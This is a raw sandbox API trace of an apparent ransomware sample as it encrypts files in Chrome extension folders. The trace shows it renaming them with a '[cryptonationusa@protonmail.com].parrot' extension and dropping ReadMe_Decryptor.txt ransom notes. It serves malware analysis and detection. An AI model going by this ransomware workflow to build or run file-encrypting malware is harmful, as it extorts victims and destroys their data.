[0058.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0058.536] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0058.536] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1a85500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1a85500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.536] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1a85500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0058.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0058.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0058.536] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0058.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x69bd20 [0058.536] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1a85500, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb1a85500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1aab660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0058.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0058.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0058.536] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0058.536] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1a85500, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb1a85500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1aab660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0058.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9310 | out: hHeap=0x5b0000) returned 1 [0058.536] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0058.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0058.536] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0058.536] lstrcmpW (lpString1="lt", lpString2=".") returned 1 [0058.536] lstrcmpW (lpString1="lt", lpString2="..") returned 1 [0058.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d8fd0 [0058.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x5d90e8 [0058.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0058.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0058.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240a80 [0058.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d9288 [0058.537] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0058.537] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0058.537] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.537] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0058.537] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0058.537] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0058.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0058.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0058.537] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0058.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0058.537] GetFileSize (in: hFile=0x284, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xe4 [0058.537] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0058.537] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0058.538] ReadFile (in: hFile=0x284, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0058.538] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.538] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe4, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe4, lpOverlapped=0x0) returned 1 [0058.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0058.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0058.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0058.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0058.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0058.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0058.539] GetLastError () returned 0x0 [0058.539] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0058.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0058.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0058.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0058.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0058.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0058.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0058.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0058.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0058.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0058.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0058.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0058.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0058.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0058.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0058.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0058.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0058.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0058.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0058.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0058.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0058.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0058.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0058.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0058.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0058.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0058.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0058.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0248 [0058.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0058.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x208) returned 0x615228 [0058.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0058.540] WriteFile (in: hFile=0x284, lpBuffer=0x615228*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x615228*, lpNumberOfBytesWritten=0x18da44*=0x208, lpOverlapped=0x0) returned 1 [0058.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615228 | out: hHeap=0x5b0000) returned 1 [0058.540] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0058.540] CloseHandle (hObject=0x284) returned 1 [0058.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d0248 [0058.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0380 [0058.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0058.541] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0058.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0380 | out: hHeap=0x5b0000) returned 1 [0058.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69bea8 | out: hHeap=0x5b0000) returned 1 [0058.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0058.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d94a0 [0058.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d95c8 [0058.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0058.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0058.542] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0058.542] GetFileType (hFile=0x284) returned 0x1 [0058.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0058.553] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0058.553] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1aab660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1aab660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.553] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1aab660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0058.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x2240ba8 [0058.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0058.553] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0058.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x69bea8 [0058.553] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1aab660, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb1aab660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1ad17c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0058.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0058.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0058.553] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0058.553] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1aab660, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb1aab660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1ad17c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0058.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d94a0 | out: hHeap=0x5b0000) returned 1 [0058.553] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0058.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0058.553] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0058.553] lstrcmpW (lpString1="lv", lpString2=".") returned 1 [0058.553] lstrcmpW (lpString1="lv", lpString2="..") returned 1 [0058.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d8fd0 [0058.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240a80 [0058.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0058.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90e8 | out: hHeap=0x5b0000) returned 1 [0058.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d8fd0 [0058.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d90f8 [0058.554] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0058.890] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0058.890] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.890] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0058.890] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0058.890] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a6a560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0058.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0058.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0058.890] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0058.890] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0058.890] GetFileSize (in: hFile=0x280, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xe9 [0058.890] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x201, nNumberOfBytesToLockHigh=0x0) returned 1 [0058.891] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0058.891] ReadFile (in: hFile=0x280, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0058.892] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.892] ReadFile (in: hFile=0x280, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe9, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe9, lpOverlapped=0x0) returned 1 [0058.892] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0058.892] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0058.892] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0058.892] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0058.892] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0058.892] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0058.892] GetLastError () returned 0x0 [0058.892] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.892] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0058.892] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0058.892] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0058.892] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0058.892] 